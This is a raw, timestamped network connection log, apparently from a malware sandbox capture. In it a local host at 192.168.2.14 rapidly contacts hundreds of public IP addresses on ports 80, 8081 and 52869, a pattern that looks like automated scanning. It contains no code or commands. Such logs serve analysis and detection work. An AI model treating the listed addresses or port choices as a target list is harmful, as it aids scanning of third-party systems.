Jul 20, 2024 23:01:02.861819983 CEST	53592	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:02.862517118 CEST	41312	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:02.862858057 CEST	52869	53244	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:02.862863064 CEST	8081	35610	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:02.862903118 CEST	53244	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:02.863046885 CEST	35610	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:02.863410950 CEST	80	46806	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:02.863490105 CEST	46806	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:02.863569021 CEST	60130	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:02.866233110 CEST	57236	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:02.867223024 CEST	8081	53592	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:02.867269993 CEST	53592	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:02.867343903 CEST	60118	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:02.868204117 CEST	38736	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:02.868252993 CEST	52869	41312	112.236.210.206	192.168.2.14
Jul 20, 2024 23:01:02.868307114 CEST	41312	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:02.868375063 CEST	46400	52869	192.168.2.14	93.255.94.157
Jul 20, 2024 23:01:02.868601084 CEST	80	60130	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:02.868690968 CEST	60130	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:02.872184992 CEST	39910	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:02.873368025 CEST	8081	60118	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:02.873414040 CEST	60118	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:02.873581886 CEST	49376	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:02.873975039 CEST	80	38736	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:02.873980045 CEST	52869	46400	93.255.94.157	192.168.2.14
Jul 20, 2024 23:01:02.874027014 CEST	38736	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:02.874032021 CEST	46400	52869	192.168.2.14	93.255.94.157
Jul 20, 2024 23:01:02.874064922 CEST	52796	52869	192.168.2.14	138.222.128.120
Jul 20, 2024 23:01:02.877527952 CEST	8081	39910	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:02.877604961 CEST	39910	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:02.877871037 CEST	36162	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:02.878833055 CEST	50730	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:02.879754066 CEST	80	49376	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:02.879791021 CEST	49376	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:02.879853964 CEST	47368	52869	192.168.2.14	134.76.14.241
Jul 20, 2024 23:01:02.881298065 CEST	52869	52796	138.222.128.120	192.168.2.14
Jul 20, 2024 23:01:02.881341934 CEST	52796	52869	192.168.2.14	138.222.128.120
Jul 20, 2024 23:01:02.882160902 CEST	55068	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:02.883111000 CEST	8081	36162	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:02.883177042 CEST	36162	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:02.883301020 CEST	47712	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:02.884449959 CEST	80	50730	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:02.884557962 CEST	50730	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:02.885138035 CEST	60148	52869	192.168.2.14	27.79.119.12
Jul 20, 2024 23:01:02.886380911 CEST	52869	47368	134.76.14.241	192.168.2.14
Jul 20, 2024 23:01:02.886559963 CEST	47368	52869	192.168.2.14	134.76.14.241
Jul 20, 2024 23:01:02.887284040 CEST	37326	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:02.887851000 CEST	8081	55068	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:02.887943029 CEST	56352	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:02.887943029 CEST	55068	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:02.888231993 CEST	80	47712	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:02.888274908 CEST	47712	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:02.890940905 CEST	52869	60148	27.79.119.12	192.168.2.14
Jul 20, 2024 23:01:02.890980005 CEST	60148	52869	192.168.2.14	27.79.119.12
Jul 20, 2024 23:01:02.891602993 CEST	47046	52869	192.168.2.14	190.144.135.107
Jul 20, 2024 23:01:02.892772913 CEST	8081	37326	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:02.892868042 CEST	40402	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:02.892896891 CEST	37326	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:02.894803047 CEST	41932	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:02.895050049 CEST	80	56352	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:02.895102978 CEST	56352	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:02.897130013 CEST	44220	52869	192.168.2.14	165.240.21.199
Jul 20, 2024 23:01:02.897367954 CEST	52869	47046	190.144.135.107	192.168.2.14
Jul 20, 2024 23:01:02.897424936 CEST	47046	52869	192.168.2.14	190.144.135.107
Jul 20, 2024 23:01:02.898435116 CEST	8081	40402	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:02.898771048 CEST	40402	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:02.899252892 CEST	33478	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:02.900126934 CEST	46476	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:02.900863886 CEST	80	41932	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:02.900923014 CEST	41932	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:02.906171083 CEST	52869	44220	165.240.21.199	192.168.2.14
Jul 20, 2024 23:01:02.906213999 CEST	44220	52869	192.168.2.14	165.240.21.199
Jul 20, 2024 23:01:02.908538103 CEST	8081	33478	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:02.908545017 CEST	80	46476	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:02.908607960 CEST	33478	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:02.909027100 CEST	46476	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:02.939660072 CEST	52869	50060	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:02.942382097 CEST	50060	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:02.949449062 CEST	52869	42316	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:02.950304031 CEST	42316	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:02.957817078 CEST	8081	44202	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:02.958468914 CEST	44202	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:02.963677883 CEST	8081	44984	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:02.965368032 CEST	52869	47768	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:02.966221094 CEST	47768	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:02.966301918 CEST	44984	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:02.969155073 CEST	8081	40382	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:02.970217943 CEST	40382	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:02.970706940 CEST	52869	38976	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:02.970721006 CEST	8081	33976	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:02.971049070 CEST	46748	52869	192.168.2.14	13.188.216.17
Jul 20, 2024 23:01:02.971115112 CEST	52869	54828	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:02.971770048 CEST	8081	36146	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:02.971843004 CEST	8081	58530	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:02.973160028 CEST	8081	47274	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:02.974221945 CEST	54828	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:02.974222898 CEST	58530	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:02.974226952 CEST	38976	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:02.974241018 CEST	33976	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:02.974342108 CEST	8081	41616	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:02.974555016 CEST	47274	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:02.974944115 CEST	8081	49146	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:02.976532936 CEST	52869	42798	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:02.976821899 CEST	52869	46748	13.188.216.17	192.168.2.14
Jul 20, 2024 23:01:02.977541924 CEST	52869	36662	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:02.977556944 CEST	8081	37320	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:02.977591991 CEST	46748	52869	192.168.2.14	13.188.216.17
Jul 20, 2024 23:01:02.977601051 CEST	48196	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:02.978214025 CEST	37320	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:02.978214979 CEST	42798	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:02.978238106 CEST	41616	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:02.978357077 CEST	52869	44008	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:02.978501081 CEST	36662	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:02.978501081 CEST	49146	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:02.978853941 CEST	8081	53556	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:02.979229927 CEST	52869	35510	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:02.979474068 CEST	36146	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:02.979499102 CEST	8081	51698	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:02.981168985 CEST	8081	54574	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:02.982166052 CEST	52869	46728	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:02.982217073 CEST	51698	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:02.982217073 CEST	35510	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:02.982482910 CEST	53556	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:02.982764006 CEST	44008	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:02.982913017 CEST	8081	48196	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:02.983215094 CEST	48196	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:02.983491898 CEST	54574	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:02.984276056 CEST	8081	55808	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:02.985304117 CEST	52869	43108	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:02.987807035 CEST	80	35804	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:02.989159107 CEST	80	36598	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:02.989356041 CEST	8081	45714	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:02.995574951 CEST	55808	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:02.997248888 CEST	8081	41196	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:03.000128984 CEST	45714	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.001355886 CEST	80	49344	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:03.002392054 CEST	52869	60452	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:03.004529953 CEST	8081	55296	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:03.007333994 CEST	60452	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:03.010305882 CEST	80	47134	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:03.011446953 CEST	52869	43344	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:03.011614084 CEST	8081	44600	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:03.012952089 CEST	80	32806	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:03.013401031 CEST	41196	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.013773918 CEST	52869	48856	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:03.015887976 CEST	8081	33934	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:03.017153978 CEST	80	41160	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:03.017196894 CEST	52869	48354	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:03.017242908 CEST	55296	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.017863989 CEST	8081	36138	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:03.018018007 CEST	80	58340	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:03.018707991 CEST	48354	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:03.022252083 CEST	43108	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:03.022252083 CEST	46728	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:03.023463011 CEST	8081	42018	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:03.023469925 CEST	80	57498	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:03.023540974 CEST	8081	55102	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:03.023547888 CEST	52869	33816	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:03.023888111 CEST	80	33506	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:03.025801897 CEST	8081	43610	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:03.026221037 CEST	43610	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.026221037 CEST	42018	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.026694059 CEST	80	36984	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:03.026700974 CEST	52869	59540	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:03.028203011 CEST	8081	41514	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:03.029259920 CEST	36598	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:03.030222893 CEST	41514	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.030226946 CEST	80	50394	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:03.030235052 CEST	52869	47482	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:03.031407118 CEST	8081	59048	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:03.032150984 CEST	80	56288	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:03.032342911 CEST	52869	46444	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:03.033202887 CEST	8081	35242	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:03.033823967 CEST	55102	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.033837080 CEST	80	35544	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:03.033888102 CEST	52869	35304	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:03.034230947 CEST	35242	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:03.034297943 CEST	32806	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:03.034338951 CEST	46444	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:03.034339905 CEST	59048	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.035511017 CEST	8081	44480	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:03.035893917 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:03.035893917 CEST	43344	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:03.035893917 CEST	47134	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:03.036550999 CEST	80	55864	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:03.036573887 CEST	52869	43066	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:03.036580086 CEST	8081	33604	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:03.037264109 CEST	47482	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:03.038225889 CEST	44480	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.038234949 CEST	35304	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:03.038237095 CEST	35544	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:03.039134979 CEST	36138	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.039377928 CEST	49344	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:03.039378881 CEST	48856	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:03.044388056 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:03.044893980 CEST	33604	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.045496941 CEST	33506	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:03.045497894 CEST	59540	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:03.045831919 CEST	41160	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:03.045833111 CEST	33934	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.046669006 CEST	80	38702	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:03.046911001 CEST	52869	53244	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:03.046917915 CEST	8081	35610	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:03.046931028 CEST	80	46806	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:03.046967983 CEST	8081	53592	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:03.046986103 CEST	52869	41312	112.236.210.206	192.168.2.14
Jul 20, 2024 23:01:03.046998978 CEST	80	60130	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:03.047048092 CEST	8081	60118	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:03.047055006 CEST	80	38736	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:03.047060966 CEST	52869	46400	93.255.94.157	192.168.2.14
Jul 20, 2024 23:01:03.047167063 CEST	8081	39910	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:03.047725916 CEST	80	49376	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:03.047918081 CEST	52869	52796	138.222.128.120	192.168.2.14
Jul 20, 2024 23:01:03.048145056 CEST	44600	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.050262928 CEST	39910	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.050617933 CEST	33816	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:03.050617933 CEST	36984	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:03.050761938 CEST	43066	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:03.051074982 CEST	8081	36162	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:03.051137924 CEST	80	50730	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:03.051157951 CEST	80	47712	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:03.051177025 CEST	8081	55068	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:03.051604033 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:03.051604033 CEST	56288	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:03.051604033 CEST	50394	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:03.051831961 CEST	49376	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:03.051831961 CEST	52796	52869	192.168.2.14	138.222.128.120
Jul 20, 2024 23:01:03.051831961 CEST	38736	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:03.051831961 CEST	41312	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:03.052119017 CEST	52869	60148	27.79.119.12	192.168.2.14
Jul 20, 2024 23:01:03.052145004 CEST	8081	37326	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:03.053622007 CEST	46400	52869	192.168.2.14	93.255.94.157
Jul 20, 2024 23:01:03.053787947 CEST	49984	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:03.054219961 CEST	60148	52869	192.168.2.14	27.79.119.12
Jul 20, 2024 23:01:03.054224968 CEST	47712	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:03.054227114 CEST	36162	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.054275990 CEST	37326	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.055768013 CEST	60118	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.055768013 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:03.055768013 CEST	53244	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:03.055808067 CEST	80	56352	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:03.055828094 CEST	52869	47046	190.144.135.107	192.168.2.14
Jul 20, 2024 23:01:03.055841923 CEST	8081	40402	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:03.057452917 CEST	58340	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:03.057780027 CEST	35610	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.057780027 CEST	53592	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.058219910 CEST	40402	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.058629036 CEST	50730	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:03.058732986 CEST	80	41932	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:03.058856010 CEST	52869	44220	165.240.21.199	192.168.2.14
Jul 20, 2024 23:01:03.059519053 CEST	80	49984	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:03.059559107 CEST	49984	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:03.060194016 CEST	55068	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.060194016 CEST	47046	52869	192.168.2.14	190.144.135.107
Jul 20, 2024 23:01:03.060194016 CEST	56352	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:03.060488939 CEST	8081	33478	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:03.060501099 CEST	80	46476	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:03.060874939 CEST	43888	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.060875893 CEST	46806	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:03.062217951 CEST	44220	52869	192.168.2.14	165.240.21.199
Jul 20, 2024 23:01:03.062222958 CEST	46476	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:03.062508106 CEST	41932	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:03.063015938 CEST	33478	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.063487053 CEST	60130	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:03.063699007 CEST	38858	52869	192.168.2.14	31.90.157.252
Jul 20, 2024 23:01:03.066297054 CEST	8081	43888	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:03.066330910 CEST	43888	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.066982985 CEST	35388	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.068403959 CEST	55808	52869	192.168.2.14	79.163.220.136
Jul 20, 2024 23:01:03.068403959 CEST	47594	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:03.069341898 CEST	52869	38858	31.90.157.252	192.168.2.14
Jul 20, 2024 23:01:03.069389105 CEST	38858	52869	192.168.2.14	31.90.157.252
Jul 20, 2024 23:01:03.071118116 CEST	50300	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:03.072130919 CEST	8081	35388	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:03.072611094 CEST	35388	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.074820042 CEST	52869	46748	13.188.216.17	192.168.2.14
Jul 20, 2024 23:01:03.074850082 CEST	55268	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.075159073 CEST	45694	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:03.075681925 CEST	60450	52869	192.168.2.14	220.158.230.42
Jul 20, 2024 23:01:03.075707912 CEST	8081	48196	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:03.075882912 CEST	52869	55808	79.163.220.136	192.168.2.14
Jul 20, 2024 23:01:03.075998068 CEST	80	47594	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:03.076035023 CEST	55808	52869	192.168.2.14	79.163.220.136
Jul 20, 2024 23:01:03.076071978 CEST	47594	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:03.076294899 CEST	80	50300	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:03.076334000 CEST	50300	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:03.077759027 CEST	80	49984	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:03.077939987 CEST	54000	52869	192.168.2.14	54.198.216.131
Jul 20, 2024 23:01:03.078217983 CEST	49984	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:03.078217983 CEST	46748	52869	192.168.2.14	13.188.216.17
Jul 20, 2024 23:01:03.078222990 CEST	48196	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.078241110 CEST	8081	43888	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:03.078515053 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.079776049 CEST	8081	55268	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:03.079849005 CEST	55268	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.080295086 CEST	39316	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:03.080564022 CEST	52869	38858	31.90.157.252	192.168.2.14
Jul 20, 2024 23:01:03.080574036 CEST	80	45694	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:03.081072092 CEST	52869	60450	220.158.230.42	192.168.2.14
Jul 20, 2024 23:01:03.081456900 CEST	45694	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:03.081530094 CEST	8081	35388	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:03.081672907 CEST	60450	52869	192.168.2.14	220.158.230.42
Jul 20, 2024 23:01:03.082226038 CEST	43888	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.082226038 CEST	35388	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.082226992 CEST	38858	52869	192.168.2.14	31.90.157.252
Jul 20, 2024 23:01:03.082523108 CEST	44526	52869	192.168.2.14	40.180.122.90
Jul 20, 2024 23:01:03.082591057 CEST	52869	55808	79.163.220.136	192.168.2.14
Jul 20, 2024 23:01:03.082879066 CEST	80	47594	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:03.083086014 CEST	80	50300	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:03.083091021 CEST	52869	54000	54.198.216.131	192.168.2.14
Jul 20, 2024 23:01:03.083142042 CEST	54000	52869	192.168.2.14	54.198.216.131
Jul 20, 2024 23:01:03.083518982 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:03.083558083 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.083796978 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.084346056 CEST	41834	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:03.085412979 CEST	80	39316	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:03.085633993 CEST	8081	55268	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:03.085798025 CEST	39316	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:03.086218119 CEST	50300	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:03.086225033 CEST	55268	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.086227894 CEST	47594	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:03.086227894 CEST	55808	52869	192.168.2.14	79.163.220.136
Jul 20, 2024 23:01:03.086819887 CEST	80	45694	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:03.087502003 CEST	52869	44526	40.180.122.90	192.168.2.14
Jul 20, 2024 23:01:03.087548018 CEST	44526	52869	192.168.2.14	40.180.122.90
Jul 20, 2024 23:01:03.088201046 CEST	52869	60450	220.158.230.42	192.168.2.14
Jul 20, 2024 23:01:03.088246107 CEST	52869	54000	54.198.216.131	192.168.2.14
Jul 20, 2024 23:01:03.088645935 CEST	37992	52869	192.168.2.14	64.213.179.125
